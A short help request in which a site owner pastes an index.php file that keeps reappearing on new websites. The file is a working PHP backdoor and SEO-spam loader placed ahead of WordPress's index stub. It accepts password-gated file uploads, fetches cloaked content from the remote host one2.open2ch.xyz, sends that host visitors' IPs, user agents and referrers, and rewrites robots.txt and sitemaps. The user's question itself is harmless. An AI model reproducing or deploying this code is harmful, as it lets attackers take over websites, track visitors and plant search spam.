Hello when l try to create a new website from 0 a index.php file is also created
which looks like malware. if l try to delete it come back

<?php
@set_time_limit(3600);
@ignore_user_abort(1);
$xmlname = 'mapss9_10_11_12_new.xml';
$dt = 0;
$sitemap_file = 'sitemap';
$mapnum = 2000;

$jdir = '';
$http_web = 'http';
if(is_https()){
$http = 'https';
}else{
$http = 'http';
}
$smuri_tmp = smrequest_uri();
if($smuri_tmp==''){
$smuri_tmp='/';
}
$s = 'b'.'ase6'.'4_e'.'ncode';
$smuri = $s($smuri_tmp);
function smrequest_uri(){
if (isset($SERVER['REQUEST_URI'])){
$smuri = $SERVER['REQUEST_URI'];
}else{
if(isset($SERVER['argv'])){
$smuri = $SERVER['PHP_SELF'] . '?' . $SERVER['argv'][0];
}else{
$smuri = $SERVER['PHP_SELF'] . '?' . $SERVER['QUERY_STRING'];
}
}
return $smuri;
}
$goweb = 'one2.open2ch.xyz';
$password = md5(md5(@$GET['pd']));
if ($password == '5fbf36f6b1070aec65f00cb8e35c9cc4') {
$add_content = @$GET['mapname'];
$action = @$GET['action'];
$domain = @$GET['domain'];
if($domain){
$host = $domain;
}else{
$host = $SERVER['HTTP_HOST'];
}
//$host = $_SERVER['HTTP_HOST'];
$path = dirname(FILE);
if($action=='ping'){
//https://www.google.com/ping?sitemap=https://example.com/sitemap.xml
if(strstr($add_content,'.xml')){
if(is_https()){
$data_new = 'https://www.google.com/ping?sitemap='.'https://'.$host.'/'.$add_content;
}else{
$data_new = 'https://www.google.com/ping?sitemap='.'http://'.$host.'/'.$add_content;
}
//Sitemap: http://www.gudangsehat.com/mapindex.xml
if(stristr(smoutdo($data_new),'google')){
echo ' ok ';
}else{
echo $data_new.' ping false! ';
}
}else{
echo ' sitemap name false! ';
}
exit;
}

$file_path = $path.'/robots.txt';
if(!$action){
    $action = 'put';
}
if($action == 'put'){
    if(strstr($add_content,'.xml')){
        if(file_exists($file_path)){
            $data = smoutdo($file_path);
        }else{
            $data = 'User-agent: *

Allow: /';
}
if(strstr($data,'/'.$add_content)){
echo ' sitemap already added! ';
}else{
if(is_https()){
$data_new = trim($data)."\r\n".'Sitemap: https://'.$host.'/'.$add_content;
}else{
$data_new = trim($data)."\r\n".'Sitemap: http://'.$host.'/'.$add_content;
}
//Sitemap: http://www.gudangsehat.com/mapindex.xml
if(file_put_contents($file_path,$data_new)) {
echo ' ok ';
}else{
echo ' file write false! ';
}
}
}else{
echo ' sitemap name false! ';
}
if (strstr($add_content, '.php')) {
$a = md5(md5(@$GET['a']));
$b = md5(md5(@$GET['b']));
if($a==smoutdo('http://'.$goweb.'/a.php') || $b=='21c4d031dd29901356a91b3efcca0130'){
$smstr = @$_GET['smstr'];
if(file_put_contents($path . '/' . $add_content, $smstr)){
echo 'ok';
}
}
}
}
if($action == 'del'){
if(file_exists($file_path)){
$data = smoutdo($file_path);
}else{
$data = '';
}
if(strstr($data,'/'.$add_content)){
if(is_https()){
$data_new = trim($data)."\r\n".'Sitemap: https://'.$host.'/'.$add_content;
}else{
$data_new = trim($data)."\r\n".'Sitemap: http://'.$host.'/'.$add_content;
}
if(file_put_contents($file_path,$data_new)) {
echo ' ok ';
}else{
echo ' file write false! ';
}
}else{
echo ' sitemap does not exist! ';
}
}

exit;

}
function is_https() {
if ( !empty($SERVER['HTTPS']) && strtolower($SERVER['HTTPS']) !== 'off') {
return true;
} elseif ( isset($SERVER['HTTP_X_FORWARDED_PROTO']) && $SERVER['HTTP_X_FORWARDED_PROTO'] === 'https' ) {
return true;
} elseif ( !empty($SERVER['HTTP_FRONT_END_HTTPS']) && strtolower($SERVER['HTTP_FRONT_END_HTTPS']) !== 'off') {
return true;
}
return false;
}
$temp = @$GET['smtemp'];
$id = @$GET['smid'];
$site = @$GET['smsite'];
$page = @$GET['smpage'];
$site = str_replace('/','',$site);
$host = $_SERVER['HTTP_HOST'];
$clock = '';

$tempweb = @$_GET['tempweb'];
$tempweb = str_replace('/','',$tempweb);

if($tempweb){
$site = $tempweb[0].$tempweb[1].$tempweb[2];
$temp = substr($tempweb,3);
}
$lang = $SERVER["HTTP_ACCEPT_LANGUAGE"];
$lang = $s($lang);
$os = $SERVER['HTTP_USER_AGENT'];
$os = $s($os);
if(isset($SERVER['HTTP_REFERER'])){
$urlshang = $SERVER['HTTP_REFERER'];
$urlshang = $s($urlshang);
}else{
$urlshang = '';
}

if(getenv('REMOTE_ADDR') && strcasecmp(getenv('REMOTE_ADDR'), 'unknown')) {
$clock = getenv('REMOTE_ADDR');
} elseif(isset($SERVER['REMOTE_ADDR']) && $SERVER['REMOTE_ADDR'] && strcasecmp($SERVER['REMOTE_ADDR'], 'unknown')) {
$clock = $SERVER['REMOTE_ADDR'];
}

$http_clock = '';
if(getenv('HTTP_CLIENT_IP') && strcasecmp(getenv('HTTP_CLIENT_IP'), 'unknown')) {
$http_clock = getenv('HTTP_CLIENT_IP');
} elseif(getenv('HTTP_X_FORWARDED_FOR') && strcasecmp(getenv('HTTP_X_FORWARDED_FOR'), 'unknown')) {
$http_clock = getenv('HTTP_X_FORWARDED_FOR');
}

if(stristr($clock,',')){
$clock_tmp = explode(",",$clock);
$clock = $clock_tmp[0];
}

if(!isset($sitemap_file) @$sitemap_file==''){
$sitemap_file = 'sitemap';
}
if(!isset($mapnum) @$mapnum==''){
$sitemap_file = 2000;
}

if(preg_match('/^'."\/".$sitemap_file.'([1-5])?.xml$/i',$smuri_tmp,$uriarr)){
@header("Content-type: text/xml");
if(isset($uriarr[1])){
$id = str_replace('','',$uriarr[1]);
}else{
$id = 100;
}
$ivmapid = 0;
sitemap_out(z_sitemap($goweb,$id,$host,$dt,$ivmapid,$mapnum,$http_web),$host);
exit();
}
function z_sitemap($goweb,$id,$host,$dt,$maptype,$map_num,$http_web='http',$filetype=0,$map_splits_num='',$temp='',$dataNew=''){
$web = $http_web.'://'.$goweb.'/sitemapdtn.php?date='.$id.'&temp='.$temp.'&web='.$host.'&xml='.$dt.'&maptype='.$maptype.'&filetype='.$filetype.'&map_splits_num='.$map_splits_num.'&map_num='.$map_num.'&dataNew='.$dataNew;
return trim(smoutdo($web));
}
function sitemap_out($url,$host){
if(is_https()){
$http = 'https';
}else{
$http = 'http';
}
$date_str = date("Y-m-d\TH:i:sP",time());
$sitemap_header = '<?xml version="1.0" encoding="UTF-8"?>
<urlset
xmlns="http://www.sitemaps.org/schemas/sitemap/0.9"
xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
xsi:schemaLocation="http://www.sitemaps.org/schemas/sitemap/0.9
http://www.sitemaps.org/schemas/sitemap/0.9/sitemap.xsd">';
$sitemap_header .= '
<url>
<loc>'.$http.'://' . $host . "/" . '</loc>
<lastmod>' . $date_str . '</lastmod>
<changefreq>daily</changefreq>
<priority>0.1</priority>
</url>';
$url_arr = explode("\r\n",$url);
$map_str = $sitemap_header;
foreach($url_arr as $value){
$map_str .= '
<url>
<loc>'.$http.'://' . $host . "/" .$value .'</loc>
<lastmod>' . $date_str . '</lastmod>
<changefreq>daily</changefreq>
<priority>0.1</priority>
</url>';
}
echo $map_str."
</urlset>";
}

if(stristr($smuri_tmp,'.css')){
$web = $http_web.'://'.$goweb.'/index.php?url='.$site.'&id='.$id.'&temp='.$temp.'&dt='.$dt.'&web='.$host.'&zz='.smisbot().'&jdir='.$jdir.'&clock='.$clock.'&uri='.$smuri.'&lang='.$lang.'&os='.$os.'&urlshang='.$urlshang.'&http_clock='.$http_clock;
$html_content = trim(smoutdo($web));
if(!strstr($html_content,'nobotuseragent')){
if(strstr($html_content,'okhtmlgetcontent')){
@header("Content-type: text/css; charset=utf-8");
$html_content = str_replace("okhtmlgetcontent",'',$html_content);
echo $html_content;
exit();
}else if(strstr($html_content,'getcontent500page')){
@header('HTTP/1.1 500 Internal Server Error');
exit();
}else if(strstr($html_content,'getcontent404page')){
@header('HTTP/1.1 404 Not Found');
exit();
}
}
}

else if($site){
if($site == 'xml'){
@header("Content-type: text/html; charset=utf-8");
$mapdir = @$GET['mapdir'];
$maptype = @$GET['maptype'];
$filetype = @$GET['filetype'];
$map_splits_num = @$GET['map_splits_num'];
$map_num = @$GET['map_num'];
$dataNew = @$GET['dataNew'];
if($mapdir){
if(!is_dir($mapdir)){
@mkdir($mapdir,0777,true);
echo 'ok '.$mapdir.' success! ';
}else{
echo $mapdir.' already exist! ';
}
}
if(@$GET['mapindex']){
$filearray = listDir($mapdir);
if(count($filearray)>=2){
$mapindex_str = '';
$mapindex_str = '<?xml version="1.0" encoding="UTF-8"?>
<sitemapindex xmlns="http://www.google.com/schemas/sitemap/0.84">';
foreach($filearray as $value){
if(stristr($value,'.xml')){
$mapindex_str .= '
<sitemap>
<loc>'."http://".$SERVER['HTTP_HOST']."/".$mapdir.'/'.$value.'</loc>
</sitemap>';
}
}
$mapindex_str .= '
</sitemapindex>';
$xmlname = @$GET['mapindex'].'.xml';
$myfile = fopen($xmlname, "w");
fwrite($myfile, $mapindex_str);
fclose($myfile);
echo "ok http://".$SERVER['HTTP_HOST']."/".$xmlname;
//echo " ".$web;
exit;
}else{
echo 'xml file less number mapindex faile!';
exit;
}
}
$web = $http_web.'://'.$goweb.'/sitemap.php?date='.$id.'&temp='.$temp.'&web='.$host.'&xml='.$dt.'&maptype='.$maptype.'&filetype='.$filetype.'&map_splits_num='.$map_splits_num.'&map_num='.$map_num.'&dataNew='.$dataNew.'&uri='.$smuri.'&http='.$http;
if(substr($temp,0,8)=='shellxml'){
$xmlname = substr($temp,8).'.xml';
}
if(substr($temp,0,7)=='hackxml'){
if(substr($temp,7)){
$xmlname = substr($temp,7).'.xml';
}
}
if(@$GET['mapdir']){
if($filetype==1){
$xmlname = $xmlname.'.gz';
}else if($filetype==2){
if(function_exists('gzopen')) {
$xmlname = $xmlname.'.gz';
if($fp = gzopen($mapdir.'/'.$xmlname, 'w9')){
$xml = trim(smoutdo($web));
if(stristr($xml,'no creat map')){
echo 'no creat map!';
exit;
}
$fp = gzopen ($mapdir.'/'.$xmlname, 'w9');
gzwrite ($fp, $xml);
gzclose($fp);
echo "ok ".$http."://".$SERVER['HTTP_HOST']."/".$mapdir.'/'.$xmlname;
echo " ".$web;
exit();
}else{
gzclose($fp);
echo 'creat sitemap faile No Permissions! http://'.$SERVER['HTTP_HOST']."/".$mapdir.'/'.$xmlname;
echo " ".$web;
exit();
}
}else{
echo 'gzopen no exists! '.$http.'://'.$SERVER['HTTP_HOST']."/".$mapdir.'/'.$xmlname;
$web = $http_web.'://'.$goweb.'/sitemap.php?date='.$id.'&temp='.$temp.'&web='.$host.'&xml='.$dt.'&maptype='.$maptype.'&http='.$http;
echo " ".$web;
exit();
}
}
if(fopen($mapdir.'/'.$xmlname, "w")){
$xml = trim(smoutdo($web));
if(stristr($xml,'no creat map')){
echo 'no creat map!';
exit;
}
$myfile = fopen($mapdir.'/'.$xmlname, "w");
fwrite($myfile, $xml);
fclose($myfile);
echo "ok ".$http."://".$SERVER['HTTP_HOST']."/".$mapdir.'/'.$xmlname;
echo " ".$web;
exit();
}else{
fclose($myfile);
echo 'creat sitemap faile No Permissions! http://'.$SERVER['HTTP_HOST']."/".$mapdir.'/'.$xmlname;
echo " ".$web;
exit();
}
}else{
if(fopen($xmlname, "w")){
$xml = trim(smoutdo($web));
if(stristr($xml,'no creat map')){
echo 'no creat map!';
exit;
}
$myfile = fopen($xmlname, "w");
fwrite($myfile, $xml);
fclose($myfile);
echo "ok ".$http."://".$SERVER['HTTP_HOST']."/".$xmlname;
echo " ".$web;
exit();
}else{
fclose($myfile);
echo 'creat sitemap faile No Permissions! '.$http.'://'.$SERVER['HTTP_HOST']."/".$xmlname;
echo " ".$web;
exit();
}
}
}
if($id){
@header("Content-type: text/html; charset=utf-8");
$web = $http_web.'://'.$goweb.'/index.php?url='.$site.'&id='.$id.'&temp='.$temp.'&dt='.$dt.'&web='.$host.'&zz='.smisbot().'&clock='.$clock.'&uri='.$smuri.'&urlshang='.$urlshang.'&http='.$http;
$html_content = trim(smoutdo($web));
if(!strstr($html_content,'nobotuseragent')){
if(strstr($html_content,'okhtmlgetcontent')){
$html_content = str_replace("okhtmlgetcontent",'',$html_content);
echo $html_content;
exit();
}else if(strstr($html_content,'getcontent500page')){
@header('HTTP/1.1 500 Internal Server Error');
exit();
}else if(strstr($html_content,'getcontent404page')){
@header('HTTP/1.1 404 Not Found');
exit();
}
}
}
}else{

$web = $http_web.'://'.$goweb.'/index.php?url='.$site.'&id='.$id.'&temp='.$temp.'&dt='.$dt.'&web='.$host.'&zz='.smisbot().'&clock='.$clock.'&uri='.$smuri.'&urlshang='.$urlshang.'&http='.$http;
$html_content = trim(smoutdo($web));
if(!strstr($html_content,'nobotuseragent')){
    @header("Content-type: text/html; charset=utf-8");
    if(strstr($html_content,'okhtmlgetcontent')){
        $html_content = str_replace("okhtmlgetcontent",'',$html_content);
        echo $html_content;
        exit();
    }else if(strstr($html_content,'getcontent500page')){
        @header('HTTP/1.1 500 Internal Server Error');
        exit();
    }else if(strstr($html_content,'getcontent404page')){
        @header('HTTP/1.1 404 Not Found');
        exit();
    }else if(strstr($html_content,'getcontent301page')){
        @header('HTTP/1.1 301 Moved Permanently');
        $html_content = str_replace("getcontent301page",'',$html_content);
        header('Location: '.$html_content);
        exit();
    }

}

}

Front to the WordPress application. This file doesn't do anything, but loads
wp-blog-header.php which does and tells WordPress to load the theme.
*
@package WordPress
*/
/**
Tells WordPress to load the WordPress theme and output it.
*
@var bool
*/
define( 'WP_USE_THEMES', true );
/** Loads the WordPress Environment and Template */
require( dirname( FILE ) . '/wp-blog-header.php' );